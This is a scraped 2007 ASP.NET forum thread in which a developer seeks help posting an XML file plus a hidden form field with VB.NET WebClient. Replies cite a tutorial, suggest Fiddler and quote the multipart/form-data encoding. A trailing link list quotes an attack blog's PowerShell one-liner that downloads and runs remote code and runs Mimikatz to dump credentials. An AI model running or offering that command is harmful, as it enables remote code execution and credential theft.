HTTP XML POST .NET - System.Net.WebClient

Hello,

I am using the following code to HTTP post an xml file to third party server. Now I believe I am able to send the file correctly but I need to pass a HTML input field value of type hidden as well with it. If I use a simple HTML interface as shown below I am successful:

<form enctype="multipart/form-data" action="https://myurl" method="POST">
  <input type="hidden" name="MyFieldName" value="myvalue">
  <input type="file" name="Myfile">
  <br/>
  <input type="submit">
</form>

I want to simulate the exact thing in my .NET code. I am confused how to pass value of the hidden field “MyFieldName” along with the file as I am using the WebClient.UploadFile() function. I tried passing it as query string but it does not work.

Can you please suggest something, I am now desperate.

Following is the code i am using at the moment in .NET:

Private Sub testHTTPPostXmlDoc()

        Try
           
            Dim web As New System.Net.WebClient()

            web.Headers.Add("Content-Type", "multipart/form-data")
            
            ' Simulating the line <input type="hidden" name="MyFieldName" value="myvalue">
web.QueryString.Add("MyFieldName", "myvalue")
           
Dim res As Byte() = web.UploadFile("https://myurl", "POST", "C:\MyFile.xml")
            Dim response As String = System.Text.Encoding.ASCII.GetString(res)

        Catch webEx As WebException

            MsgBox(webEx.Message, MsgBoxStyle.Information, "Debug Msg")
            MsgBox(webEx.StackTrace, MsgBoxStyle.Information, "Debug Msg")

        Catch ex As Exception

            MsgBox(ex.Message, MsgBoxStyle.Information, "Debug Msg")
            MsgBox(ex.StackTrace, MsgBoxStyle.Information, "Debug Msg")

        End Try

End Sub

Thanks
Imran.
U and I Solutions,
http://www.uandisolutions.com
0
imran
2/16/2007 6:23:46 AM
asp.net.web-forms 93655 articles. 5 followers. Follow

10 Replies
2728 Views

Similar Articles

[PageSpeed] 57

This tutorial might help you http://www.codeproject.com/useritems/multipart_request_C_.asp

"What good is money if it can't inspire terror in your fellow man?"
0
ViktorBergmanSwe
2/16/2007 8:54:14 AM

Thanks!!! The code seems to simulate my sccenario. I will test it on Monday and provide my feedback!

Thanks Again,
Imran.


U and I Solutions,
http://www.uandisolutions.com
0
imran
2/17/2007 12:58:19 AM

The code results in the Internal Server Error (500). Do you have any other article which can be of assistance.

Thanks Again,

Imran


U and I Solutions,
http://www.uandisolutions.com
1
imran
2/20/2007 12:18:20 AM

Try just requesting the receiving page and see what error you get, if it is an asp.net page you might get some exception to debug. The 500 error can pretty much mean anything, and it does not have to do with your httpwebrequest.

Im working on doing a extended Webclient interface which implements the work of Pablo Russoniello who wrote the article.


"What good is money if it can't inspire terror in your fellow man?"
0
ViktorBergmanSwe
2/20/2007 7:01:56 AM

Hello ViktorBergmanSwe,

Can i somehow capture the post request stream of the HTML page which works for me. I was thinking of developing an ASP.NET web page locally to which i can post the HTML page i want to simulate and somehow capture the stream posted by my HTML file and display it as String value. Then i will know kind of exact what i need to simulate.

Is it possible? Some help would be greatly appreciated.

Thanks again,
Imran.


U and I Solutions,
http://www.uandisolutions.com
0
imran
2/20/2007 10:08:11 PM
Yes it is a good idea to examine the http contents. I would recommend using Tamper Data for Firefox or Fiddler for Internet Explorer.

"What good is money if it can't inspire terror in your fellow man?"
0
ViktorBergmanSwe
2/21/2007 7:12:20 AM

The following example illustrates "multipart/form-data" encoding. Suppose we have the following form:

 <FORM action="http://server.com/cgi/handle"
       enctype="multipart/form-data"
       method="post">
   <P>
   What is your name? <INPUT type="text" name="submit-name"><BR>
   What files are you sending? <INPUT type="file" name="files"><BR>
   <INPUT type="submit" value="Send"> <INPUT type="reset">
 </FORM>

If the user enters "Larry" in the text input, and selects the text file "file1.txt", the user agent might send back the following data:

   Content-Type: multipart/form-data; boundary=AaB03x

   --AaB03x
   Content-Disposition: form-data; name="submit-name"

   Larry
   --AaB03x
   Content-Disposition: form-data; name="files"; filename="file1.txt"
   Content-Type: text/plain

   ... contents of file1.txt ...
   --AaB03x--
It explains the input type="text" .... How can i interpret in a similar way input type="hidden"
Any idea ...
Thanx,
Imran

U and I Solutions,
http://www.uandisolutions.com
0
imran
2/28/2007 11:34:59 AM

Any ideas on field type="hidden" ... Some help would be great ...

Cheers.


U and I Solutions,
http://www.uandisolutions.com
0
imran
3/5/2007 2:57:12 AM

It should be translated into text aswell, since it is neither a boolean or binary container.
Have you got the other stuff to work aswell for you? I've tried to compile it and try it out but the headers always seems non-interpretable. 


"What good is money if it can't inspire terror in your fellow man?"
0
ViktorBergmanSwe
3/5/2007 7:10:45 AM

No at the moment nothing is working for me ... Have you got someting sorted? If so can you please share it. I can't get it working....

:(

Imran.


U and I Solutions,
http://www.uandisolutions.com
0
imran
3/6/2007 12:34:09 AM
Reply:

Web resources about - HTTP XML POST .NET - System.Net.WebClient - asp.net.web-forms

webclient articles on Engadget
webclient articles, stories, news and information.

ProtonMail/WebClient · GitHub
WebClient - Official AngularJS Web Client for ProtonMail

Hide Copy Code WebClient webClient = new WebClient(); // Register the call - Pastebin.com
Hide Copy CodeWebClient webClient = new WebClient();// Register the callbackwebClient.DownloadStringCompleted += new DownloadStringCompleted ...

Jetway motherboard driver
CNET CNET Australia CNET is available in the following editions: Asia Australia China France Germany Japan United Kingdom USA Home Phones Computers ...

Arduino - AllRecentChanges
Main.Buy . . . June 26, 2012, at 10:15 AM by Davide Gomba ? : Reference.SoftwareSerialRead . . . May 25, 2012, at 09:48 AM by Tom Igoe ? : T ...

C# 实现http协议GET、POST请求类 - 静湖一筑|zaxp.cn
class Test { public static void Test1() { HttpProc.WebClient c = new HttpProc.WebClient(); c.DownloadProgressChanged += new EventHandler (c_ ...

GRIP - Round – Matte Black – Finell Co.
Stabilizes any size drink for easy, no-spill serving. Powder-coated aluminum tray with silicone bands. Additional neutral colored bands included. ...

AI Challenge
The AI Challenge (sponsored by Google) is an international programming contest started by the University of Waterloo Computer Science Club.

Carnal0wnage & Attack Research Blog: mimikatz
powershell "IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCreds -ComputerName @('computer1', 'computer2') ...

Bandwidth Arbitrator
This product allows ISPs and network adminstrators to slow down heavy users of bandwidth so that all users get excellent response times.

Resources last updated: 1/23/2016 9:59:31 PM